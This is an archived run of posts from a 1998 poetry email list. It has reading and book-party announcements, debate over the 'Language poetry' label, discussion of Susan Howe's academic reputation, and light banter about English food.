Poetry Readers in the Boston Area!!

This Sunday (Sunday... Sunday... Sunday..... !

One day only (only... only... only... !

MICHAEL FRANCO & MICHAEL GIZZI

Sunday November 22
6 PM

WATERSTONE'S BOOKS
Newbury & Exeter Streets
Boston

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

↑ Index

562. KENT JOHNSON
Nemet-Nejat
Thu 19 Nov 1998

Would anyone be able to provide an e-mail address for
Murat Nemet-Nejat?

Thanks,
Kent

↑ Index

563. daniel bouchard
*cambridge reading **
Thu 19 Nov 1998

Cambridge is located between Boston (birthplace of Ben Franklin) and Arlington (birthplace of Robert Creeley).

Saturday Night Poetry Reading

w/

David Baratier & Daniel Bouchard

7 PM

Bookcellar Cafe
1971 Massachusetts Ave
[redacted]

a few steps north of the Porter Square T stop

Call them or me for directions.

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

564. Mark Prejsnar
Re: Uncle Mark's Fables (the L word)
Thu 19 Nov 1998

---

i was glad to read RS's slight factual correction of certain claims made in my "fable."

*one thing which i believe is *often* lost sight of, is the limiting character of the famous L word; i believe that many who like Ron are considered principles in the historical development of the group have been using it for a long time, out of the general sense that collectivities and groupings are a good thing, and so it remains important to remind our hyperindividualist culture that this loose network of groupings *did* have a collective character, and that that was a deliberate choice.

*but i'm glad to see Ron stress the other side: that "schools" are very often named by their reactionary enemies, that this one was, and that there are many thngs about using The Label that are limiting and problematic.

*a happy jaunt thru the archive will convince anyone that the Label is used mostly by people wishing to express their hostility and fear toward this group

*and that, generally speaking, the more often a poster uses it, the more conservative that poet is

*and, girls and boyz, that's why your uncle mark has sworn off using the demon phrase *altogether*

marcus the fabulist

↑ Index

565. **Roger Day**
Re: f.y.i.
Thu 19 Nov 1998

At 19/11/98 14:15:08, Pierre Joris <[redacted]> wrote:
Eliza McGrand wrote:
#
> they HAVE heard of spam -- that's just the point!
>
> e
> ps
> they have also heard of blood pudding, steak and kidney pie, grilled kidneys,
> kippers, sardines on toast, the english method of eating toast (cold),
> etc.
>
> psps
> there is a passage in, i believe, a p.d. james novel describing the "fry up"
> of an english family -- little rat footprints sunk deep into the grease
> in the pan about to be used to fry...
#
Jonathan Williams has some lovely works dealing with a few other Britfood
favorites such as Dead Baby, Spotted Dick, Toad in the Hole...
#
Pierre

Just the sort stereowhatsits I, as a whinging pom, was, er, whinging about...whoops, another frivolous post :)

Roger

↑ Index

566. charles alexander
demons & re:sounding
Thu 19 Nov 1998

> **and, girls and boyz, that's why your uncle mark has sworn off using the demon phrase *altogether**

with "language poetry," "experimental," "avant-garde," "progressive," and "innovative" all marked off our lists, we might actually have to talk about the poetry. I don't know if this would "free poetics" or not

on another matter entirely: for all those who can make it, six different poets will read/perform original works commissioned by the Scottsdale Center for the Arts Poetry Series (organized by Sheila Murphy & Bev Carver), now in its 12th season. Performers include Jeannine Savard, Jed Allen, Roberta Burnett, Eva Jungermann, Doug Barbour, and Stephen Scobie. This occurs at 8:00 p.m. in the upper and lower galleries of the Scottsdale Center for the Arts.

Barbour and Scobie (collectively known as Re:Sounding) read and performed sound poetry and other works in the POG series in Tucson two nights ago and were marvelous. I understand they are headed to the west coast next. Don't miss them.

charles

↑ Index

567. Michael Franco
GIZZI & FRANCO READING IN BOSTON
Thu 19 Nov 1998

Michaels Gizzi & Franco will read at Waterstone's Books on Sunday the 22nd of Nov. 6pm. FREE
Waterstone's is at the corner of Newbury & Exiter Streets, Boston.

↑ Index

568. tracy s. ruggles
(no subject)
Thu 19 Nov 1998

On Wednesday/18.November.1998 4.11.09pm, Charles Bernstein wrote:
>
> free poetics
>

My attempt to free it:

```
        I respect foe
        I cope freest

   fierce poets          TREE
   poetic reefs

secrete of pi             OF
steeper foci

   pet of cerise         SPICE
   pet so fierce

secret of pie: COST-FREE PIE!

        creep if toes     TOP
        pose if erect

   feet copiers          FECES

   (see: optic ref
   see: epic fort)         IRE
```

↑ Index

569. Andrew Rathmann
Re: Howe on P[ei]rce
Thu 19 Nov 1998

Susan Howe's piece in _Profession_ is a version of a talk she recently gave at the University of Chicago. (Perhaps she's delivered it elsewhere, too...) Regrettably, the talk included quite a few additional slides of the Peirce manuscripts, which are not in the published article. It seems that Howe's forthcoming book will make reference to the philosopher, whose biography and writing practices are close to the "antinomian" tradition that Howe has tried to delineate.

It surprises me that there isn't more discussion of her poems on the list, since she would seem to be the most distinguished "experimental" poet now writing; indeed, the point was made at Chicago that, among academic audiences, she is almost certainly the most talked-about contemporary U.S. poet. So a writer of

beautiful but almost totally opaque poems is now the favorite of academic readers. Doesn't this weaken the usual distinction between "mainstream" and "marginal," and the "poetics" customarily associated with each? Perhaps a better distinction would be between "academic" and..."popular"? "autonomous"? But it was also suggested at Chicago that Howe is in fact much less academic than other "experimental" writers such as those associated with Language writing (think of her religiosity, or her ear for sonorous language). This complicates things further, I think. No one who wasn't already a noted poet, for example, could have gotten _The Birth-mark_ accepted by a university press. This implies a certain amount of condescension among academics, of course, who don't feel that poets need be taken entirely seriously; but it also suggests that Howe is not really in line with the academy.

These are the sorts of observations that have struck me lately. I wonder whether list-members could provide others.

Andrew Rathmann

ps I'd be interested to hear, privately, from others working on Susan Howe.

↑ Index

570. **MAYHEW**
Re: Howe on P[ei]rce
Thu 19 Nov 1998

I don't know if Howe is less academic than other comparable poets, or if this is a meaningful category. Ironically, her piece in Profession was the most "scholarly" thing in the whole issue, the only article that actually involved archival research! So I don't think anyone can safely condescend to her.

The list doesn't tend to discuss individual figures in great depth or detail. The attention span needed to read Howe is longer than a typical thread lasts here. I don't find her work opaque* though. It just requires close attention over an extended period of time.

Jonathan

↑ Index

571. **Gary Sullivan**
BOOK PARTY
Thu 19 Nov 1998

Detour, Roof & The Figures invite you
to celebrate their latest publications
at Paul Kasmin Gallery, 74 Grand Street

(between Wooster & Greene, in Soho)
December 3, 1998, from 5:30-7:30 p.m.

Books by Mitch Highfill, Ron Padgett,
Bob Perelman, Laurie Price, Michael Price,
Kit Robinson, & Geoffrey Young will be
on the premises, as will their authors.

REFRESHMENTS SERVED

ps: those who've ordered these Detour Books
they'll be available December 2
at which time I'll send them out
Rachel Levitsky's book (part of the four
I've been putting together for this
series) is LATE!! Aiii!! My apologies
my eyes are bigger than my formatting capabilities
it will be available in early January
& there'll be other book parties, soon enough
thanks,
Gary

↑ Index

572. **Mark Weiss**
Re: f.y.i.
Thu 19 Nov 1998

I once stayed in a pension in Edinburgh that included a full English breakfast for the price of the bed. One night I returned at dawn from Fringe poetry stuff and collapsed into bed, missing breakfast as a result. When I awoke at 4 my landlady informed me that she had kept breakfast for me, and I was duly appreciative of the plate of cold, semi-petrified fried eggs, sausage and toast. I don't think the lady was having fun with me--she seriously thought that the food was edible. I will, however, rise to the defense of blood pudding, kidneys and kippers, albeit not to the English preparation thereof. The French, among others, do the first two quite well, and kippers properly cured are a noble fish.

At 10:15 AM 11/19/98 -0400, you wrote:
>Eliza McGrand wrote:
>
>> they HAVE heard of spam -- that's just the point!
>>
>> e
>> ps
>> they have also heard of blood pudding, steak and kidney pie, grilled

kidneys,
>> kippers, sardines on toast, the english method of eating toast (cold),
>> etc.
>>
>> psps
>> there is a passage in, i believe, a p.d. james novel describing the "fry
up"
>> of an english family -- little rat footprints sunk deep into the grease
>> in the pan about to be used to fry...
>
>Jonathan Williams has some lovely works dealing with a few other Britfood
>favorites such as Dead Baby, Spotted Dick, Toad in the Hole...
>
>Pierre
>
>
>--
>==========
>Pierre Joris
>[redacted]
>http://www.albany.edu/~joris/
>6 Madison Place
>Albany NY 12202
>tel: [redacted]
>fax: [redacted]
>==========
>Through the living the road of the dead
>— Ungaretti
>==========
>
>

↑ Index

573. **Roger Day**
Re: f.y.i.
Thu 19 Nov 1998

At 19/11/98 17:15:54, Mark Weiss <[redacted]> wrote: # I once stayed in a pension in Edinburgh that included a full English # breakfast for the price of the bed. One night I returned at dawn from # Fringe poetry stuff and collapsed into bed, missing breakfast as a result. # When I awoke at 4 my landlady informed me that she had kept breakfast for # me, and I was duly appreciative of

the plate of cold, semi-petrified fried # eggs, sausage and toast. I don't think the lady was having fun with me--she # seriously thought that the food was edible.

Pension? That'll be a Bed And Breakfast (in UK parlance) - you paid for it, so you have to eat it :)

Roger

↑ Index

574. **louis stroffolino**
Re: BOOK PARTY
Thu 19 Nov 1998

Hey Gary, I thought Bob Perelman told me this was at the Seque space.
So, now I'm confused.....
c

On Thu, 19 Nov 1998, Gary Sullivan wrote:

> *Detour, Roof & The Figures invite you*
> *to celebrate their latest publications*
> *at Paul Kasmin Gallery, 74 Grand Street*
> *(between Wooster & Greene, in Soho)*
> *December 3, 1998, from 5:30-7:30 p.m.*
>
> *Books by Mitch Highfill, Ron Padgett,*
> *Bob Perelman, Laurie Price, Michael Price,*
> *Kit Robinson, & Geoffrey Young will be*
> *on the premises, as will their authors.*
>
> *REFRESHMENTS SERVED*
>
> *ps: those who've ordered these Detour Books*
> *they'll be available December 2*
> *at which time I'll send them out*
> *Rachel Levitsky's book (part of the four*
> *I've been putting together for this*
> *series) is LATE!! Aiii!! My apologies*
> *my eyes are bigger than my formatting capabilities*
> *it will be available in early January*
> *& there'll be other book parties, soon enough*
> *thanks,*
> *Gary*

↑ Index

575. **Gary Sullivan**
Re: BOOK PARTY
Thu 19 Nov 1998

Well, this announcement comes directly from info on postcards Geoff sent me to send out (& post, here). Maybe Perelman's reading at Segue prior or after? I dunno,

but this info is what I take to be "it"

Gary

> *Hey Gary, I thought Bob Perelman told me this was at the Seque space.*
> *So, now I'm confused.....*
> *c*
>
> *On Thu, 19 Nov 1998, Gary Sullivan wrote:*
>
> *Detour, Roof & The Figures invite you*
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> *it will be available in early January*
> *& there'll be other book parties, soon enough*
> *thanks,*
> *Gary*

↑ Index

576. **KENT JOHNSON**

Dear Uncle Mark and Cousin Ron

Thu 19 Nov 1998

The fable, Mark, was charming, but I need to say that my cadaver of Language conceit seems to have been wrongly taken as an attack on "Language poetry." (We all know what happens to people who attack Language poetry--why would I be so crazy as to do that?) And I completely agree with Ron that Language poetry was always an Idea and never _really_ an organic Body in the first place.

But wakes and funerals can be held for Ideas. That sentimental adieu stage has not quite come yet for the Idea of Language, which still sputters and writhes, like Damiens the regicide, on the plank. The autopsy is taking, apparently, quite a long time.

But I want to make clear that the violence of the matter has nothing to do with anything in the axiological sense. Nor does the utter reality of the dissection, or, better said, _vivisection_ (the "reality" of which is, admittedly an abstraction, though no less real, as Lenin would say, for that) have anything to do with my personal predilections in poetry which are quite catholic and with a definite slant to that tradition which the Idea of Language has most certainly enriched. I am _not_ an enemy of Language. (In fact I happened to write and publish one of the very early defenses of Langpo, gave a very sympathetic paper on its "auto-critical" production at the MLA, etc.)

Still, I maintain that my autopsy-dissection conceit is valid and full of promise as an heuristic device. Mark and Ron apparently don't think so and that is fine. But how could they? How could they "get it" if they truly believe that the vivisection and mummification rituals carried out on the viscera of "Language" _as we speak_ are primarily acts of New Criterion-types still chanting in evil circle around the Body-Idea of Language? Can Mark (and, as I read him, Ron) _really_ be serious in asserting that any review of the literature will show that the Name of Language is conjured many times more by its reactionary Others than it is by the extended relations in the family tree? Why, go to the Archives of this List and tell me that that is true! Who are writing the University Press books on Language? The essays in the big-name journals? Giving the talks at the MLA? Who? The enemies with blood vendetta against Our Family? Not at all.

There is the dustbin of literary history the reactionaries would like to sweep the Idea of Language into, and there is the Canon, which _demands_ dissection before entombment in the Mausoleum/Museum of Movements. It's painful to watch it happen, especially when the dissection is carried out on itself by the still-breathing Body/Idea proper, as it subliminally calls forth to the plank (through the strange and enticing aromas of its decay-in-life) the instruments of vivisection it itself has so lovingly laid: The Scalpel-acolytes who both love and

hate the Name of the Father and now slice and label His viscera in an image of the coming Death they also darkly desire; the Bone Saw-academics who are taken by their finger-grip handles and sawed back and forth across the Idea's ribs to expose its still beating Heart, which we see now, is of the same shape and color as the heart of any Movement resting at last and at peace in its well-wrought urn.

Why is this so hard to accept? What I'm evoking is the perfectly natural life/death process of the "avant-garde," no less natural and inevitable than death is for the individual human being. Read Foucault on the Author Function. Not as fun to read as Lehman's book, but very relevant and illuminating of this admittedly macabre vision I am sharing with you.

And I know that after Henry's post today I shouldn't be speaking like this, in the creative writing way, but I _am_ talking here about Poetics, which everyone knows, of course, is not a field of daisies.

Now I am going to return to my translations of the Bolivian poet Jaime Saenz, who, like all of us, was both enamored with and terrified by death.

Kent

↑ Index

577. **Henry Gould**
Re: Howe on P[ei]rce
Thu 19 Nov 1998

Susan Howe is a scholar-poet, at home in the world of texts and annotations and history as historical record, born & bred in a Boston academic milieu, which might be one reason she is popular in academic circles, though perhaps Andrew R. exaggerates the extent of that somewhat. I am going to dig up her essay on Peirce; my guess is she is interested in his grand "original" & Cambridge MA relation to the universe - "antinomian" seems an anachronistic description - as I (mis)understand it, "antinomianism" was a "heretical"-sectarian religious position when theological absolutism was under attack (17th cent.) - Peirce himself comes out of Boston transcendentalist roots, which I guess you could call "antinomian" in some way if there was anything to be "nomian" against any more in the days of Emerson - but I would guess Peirce would be closer to the Catholic church in regard to the universality of ultimate "truths" than to the personal experiential testimonies of the antinomians - antinomian experience of the divine would probably fall under "firstness" for Peirce rather than the comprehensive dimension of "thirdness" - just a wild guess, perhaps way off - Henry G.

antinomian divine experience - thirdness experienced as firstness ??

Peirce & New England antinomians - a sort of "originary" cultural phenomenon - like Olson's project in a way - the quest for originary relation to reality as an "American" cultural expression (as opposed to any prior "explanations" of anything) - Howe a late version of the colonial effort to redefine the categories of everything from a new place - a quest for authority (power?) - a New England Yankee tradition - the southerners - Poe, New Critics - always hated & feared this - always looked for the irony, the EUROPEAN roots - Eliot their avatar - Frost the reified version of it - Pound "outgrew" it into insane exile - Stein expressed it - Stevens expressed it - the New England thing - Dickinson the Shakespeare of it - "self-reliance" - a-historical pioneer element always subject to parody - heroic becomes hubris, etc. - & eccentricity - crotchety New Englanders -

↑ Index

578. Mark Prejsnar
the beauty of opacity
Thu 19 Nov 1998

On Thu, 19 Nov 1998, Andrew Rathmann wrote:

So a writer of beautiful but almost totally opaque poems is now the
> favorite of academic readers. Doesn't this weaken the usual distinction
> between "mainstream" and "marginal," and the "poetics" customarily
> associated with each?

1. Go to **almost** any university or college; take a look at how frequently the books of Pinsky, Merwin, Graham, and others pushed by major trade houses are used, show up in the reshelving areas of the library, show up in the poetry section of the university book store...

*NOW see how often Howe's books appear in those places, or seem to be in use...

*i think you'll find (unless, non-academic that i am, i'm VERY mistaken) that Howe is not "a favorite" in academe. She is still very much an outsider. Far too much is made of the idea that poets WANT to be "avant-garde" and outsiders, or cherish this role...Maybe that says something about the poets who believe it. But i certainly don't think such status is any more "authentic" or desirable than being lionized: they both no doubt carry with 'em difficulties. And so, i am not insisting that Howe is an outsider, in order to bolster her rep. (..though in fact i'm second to none in loving her work and thinking she is central to U.S. poetry..) I just think a post like the one above is typical of the loss of perspective we see so often...Much like the pundits who've so often said (here and elsewhere) that Silliman, Bernstein, Andrews, Hejinian etc. are "hegemonic" or

something. Simply shows how little time these commentators spend looking outside their particular small ponds....

2. what is this about "almost totally opaque"!!?? Remarkably lucid, it seems to me. OK if you have problems with poetry that isn't paraphraseable, the (relatively few) pages in a number of her long poems that fly apart into a cascade of audiovizpo scherzo slashings, might seem "opaque," but i'd argue that that's not the right word: just as soon say that Bartok is opaque because he sometimes makes great technical demands on the audience's sustained attention....Demanding, in fact, seems a good word. Opaque, let alone almost totally, seems to me all wrong...

uncle mark

↑ Index

579. **KENT JOHNSON**
PS
Thu 19 Nov 1998

I posted my last before seeing the discussion on Howe's academic "bandwagon."

Ah, my point exactly.

Uncle Remus

↑ Index

580. **John Latta**
Re: the beauty of opacity
Thu 19 Nov 1998

Mark Prejsnar wrote:

> *1. Go to **almost** any university or college; take a look at how frequently the books of Pinsky, Merwin, Graham, and others pushed by major trade houses are used, show up in the reshelving areas of the library, show up in the poetry section of the university book store...*
>
> **NOW see how often Howe's books appear in those places, or seem to be in use...*

Here's a quick count via the MLA Bibliography:

35 Susan Howe citations (includes a number of 1990 Talisman pieces, includes interviews, doesn't include Howe-author'd things)

22 Robert Pinsky citations (includes the inimical "The Horatian Poeticss of Ezra Pound and Robert Pinsky," includes interviews but not Pinsky-writ stuff)

There's something of a bandwagon effect in academia, and the Howe-wagon is undeniably rolling.

This doesn't necessarily contradict Mark.

This doesn't necessarily prove much of anything.

John Latta

↑ Index

581. **Aldon Nielsen**
Re: A Fable for Our Time
Thu 19 Nov 1998

---

enojoyed Uncle Mark's fable greatly, which I suppose may mark me as a mark, but need to twitch the tale in one respect --

whatever the people in the loft may have decided about their name on that great getting up morning in the loft, the fact is that they came to be known by a name that was applied to them, as a pejorative, from the outside --

look to the seventies "poetry wars" in POETRY FLASH to follow the trail -- while the loftifarians were describing their work as "language-centered" or even "language realism" -- it was somebody who did not like them who first called them, at least in print, "L=A=N=G=U=A=G=E poets" --

your nephew,
aldon

↑ Index

582. **KENT JOHNSON**
Re: the late nephew
Thu 19 Nov 1998

On Nov. 18, Aldon Nielsen said:

> *what's interesting to me in all this is not so much the question of who is or is not "academic" -- what I'm curious about is how the term "academic" operates in these discussions -- it would appear that, for some, to attract the attention of critics within the academy is nearly as bad a thing as to be ignored by critics within the academy -- which would make the position of poetry within the academy perhaps even worse than we already think it is --*

Hmmm... Unless this doubled bind is merely a mundane sort of paradox, like the cadaver on the plank, a gaping grimace of sexual joy on its face.

↑ Index

583. **Billy Little**
200 lined up in the rain
Thu 19 Nov 1998

---

it was standing room only when the Kootenay School of Writing hosted the reading of Deanna Ferguson and Tom Raworth. Deanna so cruelly cool, so matter of fact in her passion. Outside the gallery while she read two people were gunned down in a drive by shooting. Andrew's introductions were touching unrehearsed. Canada's top poet Gerry Gilbert recorded the session for broadcast later in the week on his Radio Free Rainforest. Gerry Creede straining to catch every phoneme of the electrical stream the drole english master produced so forcefully yet restrainedly dazzling. Dorothy Trujillo Lusk proved to be the stage manager when she teasingly instructed the readers to read fast and read loud we like it that way. Rhoda Rosenberg, Michael Barnholden, Clint Burnham, Philip McCrum, traded bon mots at the refreshment stand. Jamie Reed breezed in from UBC where he was having an educational revelation. Everyone at the very least left with an infatuation for the words Tom never used poem, he read sections from meadow casually brilliant in my humble understanding. He'll be reading at Cecil Green house at UBC next tuesday, make time for it..

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

↑ Index

584. **henry gould**
Re: A Fable for Our Time
Thu 19 Nov 1998

On Thu, 19 Nov 1998 10:47:45 -0800 Aldon Nielsen said:
>
>look to the seventies "poetry wars" in POETRY FLASH to follow the trail --
>while the loftifarians were describing their work as "language-centered" or
>even "language realism" -- it was somebody who did not like them who first
>called them, at least in print, "L=A=N=G=U=A=G=E poets" --

But doesn't it seem appropriately ironic that some poets who distinguished themselves by their focus on "language" (as if that were a distinguishing mark & not true of all poets) would suffer the word-as-stick-on-label? - Henry G.

↑ Index

585. **Michael Magee**
Re: the beauty of opacity
Thu 19 Nov 1998

According
to John Latta: > > Here's a quick count via the MLA Bibliography:
>
> 35 Susan Howe citations (includes a number of 1990 Talisman pieces,
> includes interviews, doesn't include Howe-author'd things)
>
> 22 Robert Pinsky citations (includes the inimical "The Horatian Poeticss
> of Ezra Pound and Robert Pinsky," includes interviews but not
> Pinsky-writ stuff)
>There's something of a bandwagon effect in academia, and the Howe-wagon
>is undeniably rolling.

I think there's some use to this sort of tally, John - at least a point of reference so we're not just blurting out unfounded opinions about who's more influential blah blah blah. & I agree too that this doesn't negate Mark P's statement - a survey of the bookshelves is always worthwhile. But I think there's another way to look at it, much more dear to me, which has to do with your idea that the "Howe-wagon is rolling" - here's my thought, which has to do with the way in which social change actually comes about (as opposed to social stagnation): the sourpusses will note that Pinsky gets to be on PBS and such, votes on prominant prizes, dines with the president, whatever else. And there are many people who will tell you they like Pinsky's work, perhaps some on this list. But how many people would really go to bat for Pinsky? - I mean *really* go to bat for him, as in, lay something on the line, take some sort of risk to stand up for his poetry and poetics? I would guess not too many. Whereas, me, I'd really go to bat for Susan Howe - if push came to shove, I'd risk tenure and all the rest to support her work (i.e., if it came up in an interview and some conservative knucklehead said, "You really like Susan Howe's work" I would defend it vigorously even if it seemed apparent that I'd lose the job). In my more masculinist moments - please note the irony - I feel like I'd really knock someone the fuck out in support of The Birth-Mark or Singularities. Do you see what I'm getting at? The culture doesn't change because someone wishy-washily gives a thumbs up to Robert Pinsky. Pinsky is the *end* of a certain kind of poetry, ending with

a wimper, which is why I tend not to get bent out of shape by the press he gets or the bookshelves he occupies.

-m.

According
to John Latta: > > Here's a quick count via the MLA Bibliography:
>
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> includes interviews, doesn't include Howe-author'd things)
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> 22 Robert Pinsky citations (includes the inimical "The Horatian Poeticss
> of Ezra Pound and Robert Pinsky," includes interviews but not Pinsky-writ
> stuff)
>
> There's something of a bandwagon effect in academia, and the Howe-wagon
is
> undeniably rolling.
>

↑ Index

586. **henry gould**
Re: Dear Uncle Mark and Cousin Ron
Thu 19 Nov 1998

Kent, you have my permission to keep talking, Gunga Din. - Henry Din

↑ Index

587. **Aldon Nielsen**
the late nephew
Thu 19 Nov 1998

---

well, I see Ron had already filled in the information about the origins of the "L-word" --

I'll add, then, what I still consider thge best definition of a "language poet" ever offered -- it was offered by Ron in a talk in San Francisco at an MLA, and I have offered it here before --

Ron said on that occasion that a language poet was anyone who had ever been accused of being one.

on related threads --

When tabulating MLA bib. entries it's important to note the nature of the entry -- as was pointed out, a substantial number of the entries for Susan Howe refer

to the same issue of TALISMAN -- not that Mr. Pinsky or anyone else might not also be the subject of a special issue -- but having a special section of TALISMAN devoted to your work won't exactly make you the darling of us academics on its own --

Alan Golding may recall the stir among the creative writing contingent at the 20th century conference the year that both Howe and Jerome McGann spoke -- any number of attendees tried to make the argument that Howe writes the way she does so that academics like McGann will write about her --

what's interesting to me in all this is not so much the question of who is or is not "academic" -- what I'm curious about is how the term "academic" operates in these discussions -- it would appear that, for some, to attract the attention of critics within the academy is nearly as bad a thing as to be ignored by critics within the academy -- which would make the position of poetry within the academy perhaps even worse than we already think it is --

↑ Index

588. **Mark Prejsnar**

Re: Dear Uncle Mark and Cousin Ron

Thu 19 Nov 1998

On Thu, 19 Nov 1998, KENT JOHNSON wrote:

> *Can Mark (and, as I read*
> *him, Ron) _really_ be serious in asserting that any review of the*
> *literature will show that the Name of Language is conjured many times*
> *more by its reactionary Others than it is by the extended relations*
> *in the family tree?*

Yep.

--mp

↑ Index

589. **John Latta**

Re: the beauty of opacity

Thu 19 Nov 1998

Michael Magee wrote:

> *I think there's some use to this sort of tally, John - at least a point of*
> *reference so we're not just blurting out unfounded opinions about who's*
> *more influential blah blah blah. & I agree too that this doesn't negate*
> *Mark P's statement - a survey of the bookshelves is always worthwhile.*
> *But I think there's another way to look at it, much more dear to me, which*
> *has to do with your idea that the "Howe-wagon is rolling" - here's my*
> *thought, which has to do with the way in which social change actually*

> *comes about (as opposed to social stagnation): the sourpusses will note that Pinsky gets to be on PBS and such, votes on prominant prizes, dines with the president, whatever else. And there are many people who will tell you they like Pinsky's work, perhaps some on this list. But how many people would really go to bat for Pinsky? - I mean *really* go to bat for him, as in, lay something on the line, take some sort of risk to stand up for his poetry and poetics? I would guess not too many. Whereas, me, I'd really go to bat for Susan Howe - if push came to shove, I'd risk tenure and all the rest to support her work (i.e., if it came up in an interview and some conservative knucklehead said, "You really like Susan Howe's work" I would defend it vigorously even if it seemed apparent that I'd lose the job). In my more masculinist moments - please note the irony - I feel like I'd really knock someone the fuck out in support of The Birth-Mark or Singularities. Do you see what I'm getting at? The culture doesn't change because someone wishy-washily gives a thumbs up to Robert Pinsky. Pinsky is the *end* of a certain kind of poetry, ending with a wimper, which is why I tend not to get bent out of shape by the press he gets or the bookshelves he occupies.*

Michael:

Well, sure. Reputations are made by advocacy and it's hard to be a yes-man for something nobody's saying no to, or for something for which there's a reigning vague indifference perfect for laureateship. Without knowing the poetry particularly well, I feel the same way about Pinsky; he's part of that middle mediocre-at-best muddle I'd just as soon avoid, like most movies, most store-bought breads. But: the thing I find worrisome in the general Howe-fervor is how, despite the calisthenics and bravado seemingly involved, easy it is to gain footing on a rolling wagon. It's the "this year's model" fears I have about scholarship in these days of marketable everything. And "feistiness" and "difficulty" may well be as marketable as bread.

I meant to say inimitable.

John

↑ Index

590. **Aldon Nielsen**

Merwin's Folding Cliffs

Thu 19 Nov 1998

Any of you listers in Hawaii read this narrative poem by Merwin that I see looming from the store shelves?

↑ Index

591. Bob Grumman
Re: poetry & consciousness
Thu 19 Nov 1998

Great post on what Henry James said. But the l-poets put the theory into practice. That to me is their (huge) contribution. I hope others add to this thread as I can't because I don't know enough about langpo. And don't have time right now. If people do get this thread into high gear, I do hope people will present examples of specific language poets doing specific things with grammar. So many have done so many different things that I no longer know who did what. It's all a blur of interesting techniques to me. Has any critic work out exactly what techniques language poets have used, and analyzed them? I mean, in some methodical way. Many have noted various techniques in passing while discussing various poets. Anyway, Peter, thanks for bringing all this up.

--Bob G.

↑ Index

592. david bromige
the second death of the L=A=N Author
Thu 19 Nov 1998

A post of mine some months ago might be revived in new format now :

Stage	Imagism	Objectivism	New American Poets	L=A=N poetry
Forming	1909-1911	1925-28	1947-1949	1969-1971
Manifesto	1912	1930	1950	1972
Original-Group Cohesiveness	1912-1929	1930-1934	1950-1975	1972-1992

These dates are of course highly arguable, and may, where verifiable, be slightly off (I have not taken the trouble to look them up). By the time of Amygisme, 1913, the Imagist movement was arguably over. However, I am respecting the close association continuing between EP and WCW, Bill Bird's publishing, Marianne Moore's editing of The Dial, etc.

The interrupted Objectivist (non)movement can be seen to enjoy a 2nd life with the publications of the 60s.

Once poets not in the originating group enter the picture -- v. Anselm Hollo's inclusion in later editions of _The New American Poetry_ , or (in a media source I've forgotten) the naming of Leslie Scalapino, Anne Lauterbach and Paul Hoover as Language Poets--one realizes that the original movement has had broadened its definitions broadened, if only in under-informed minds, to the

point of dispersal. (Understand I am not disparaging the work of these 4 poets; that is not the point here; NAP and Langpo are fortunate to have them as ex officio members).

While there is no reason for history to repeat itself, it often does, and the 20-year span of Imagism,and the 25-year span of the NAP, match up closely with the 23-year span of L=A=N.

Of course, EP, HD and WCW & other of their peers continued to use this or that Imagist device through all their days. But it was redndantly odd to refer to any of these in 1938 as "Imagists." And to me there is a like redundancy in referring in 1979 to Duncan, Creeley, Levertov, Ashbery as "New American Poets." They were still exploring devices the NAP revolution had given them (that they had given to the revolution), yes; but their poetic identities had become such that the group label was now painfully inadequate.

This is how I feel now about L=A=N; that it has active extension in the recent writing of its progenitors, there is no question, despite, say, the radical change in Perelman's poetic. What one needs to question is what can be gained, today, by regarding L=A=N poetry as anything but an historical event? Bernstein, Andrews, Silliman, Hejinian, Watten, et al, have entered a period where their distinctness each from each becomes primary.

When non-originating poets attempted Imagism in the 1930s et seq; when non-o poets attempted NAP means in the 1970s; and when non-o poets attempt L=A=N moves in the 90s, the results are seldom laudable--unless admixed with much else. Times change : poetic movements are born from the necessity to face that; in their beginning is also their end. Where are the detestors of the poetry of Chris Stroffolino, Mark Wallace, Mark duCharme, Peter Gizzi, Elizabeth Willis, Jennifer Moxley, Steve Farmer, Lisa Robertson, Deanna Ferguson, Lissa Wolsak, Jeff Derksen, Darren Wershler-Henry...(and one could go on and on in the pleasurable rounding up of equally attractive poets) ? Where are their detractors, one of whom will give them the group identity they may or may not want? (Ron might have mentioned 'Cubisme' also; and the 'Kitchen Sink' school. etc).

David

↑ Index

593. **david bromige**

p s

Thu 19 Nov 1998

> *s--one realizes that the original movement has had broadened its definitions broadened,*

inadequate editing here--please disregard the 2nd 'broadened'. Thanks. db3

↑ Index

594. Mark Weiss
Re: the late nephew
Thu 19 Nov 1998

> *I'll add, then, what I still consider thge best definition of a "language poet" ever offered -- it was offered by Ron in a talk in San Francisco at an MLA, and I have offered it here before --*
>
> *Ron said on that occasion that a language poet was anyone who had ever been accused of being one.*

Jeez, Aldon, does that mean I'm a Language poet even tho I don't want to be? Is there no way I can get out of it? Is there a statute of limitations?

↑ Index

595. Ron Silliman
Irby on Duncan
Thu 19 Nov 1998

Can somebody who was there (preferably) report on what Ken Irby said in his talk on Robert Duncan in Lawrence last Tuesday? I'd be very grateful,

Ron

↑ Index

596. Rachel Loden
my poet laureate can beat up your poet laureate
Thu 19 Nov 1998

New quartet a-bornin'?

Busta Rhymes wrote:

> *I always roam the forest just like a Brontosaurus*
> *Born in the month of May so my sign is Taurus*
> *I kick you in the face like my fuckin' name was Chuck Norris*

Michael Magee wrote:

> *In my more masculinist moments - please note the irony - I feel like I'd really knock someone the fuck out in support of The Birth-Mark or Singularities.*

Ted Berrigan wrote:

> *Orange cavities of dreams stir inside "The Poems"*
> *Whatever is going to happen is already happening*
> *Some people prefer "the interior monologue"*
> *I like to beat people up*

Paging Tom Mandel . . . white courtesy telephone, please . . .

Rachel "The Body" Loden

↑ Index

597. **WENDY KRAMER**
follow me
Thu 19 Nov 1998

---

catching up on nov. list postings and want to add about hannah weiner tribute...

yes jackson macklow's reading "follow me" in code pomes was striking

↑ Index

598. **michael corbin**
Re: Dear Uncle Mark and Cousin Ron
Thu 19 Nov 1998

KENT JOHNSON wrote:

> *which still*
> *sputters and writhes, like Damiens the regicide, on the plank.*

But it is the king's multiple bodies mon cheri. Damiens desire and mine, ours and otherwise. It is the ours and otherwise. Our otherwise.

mc

↑ Index

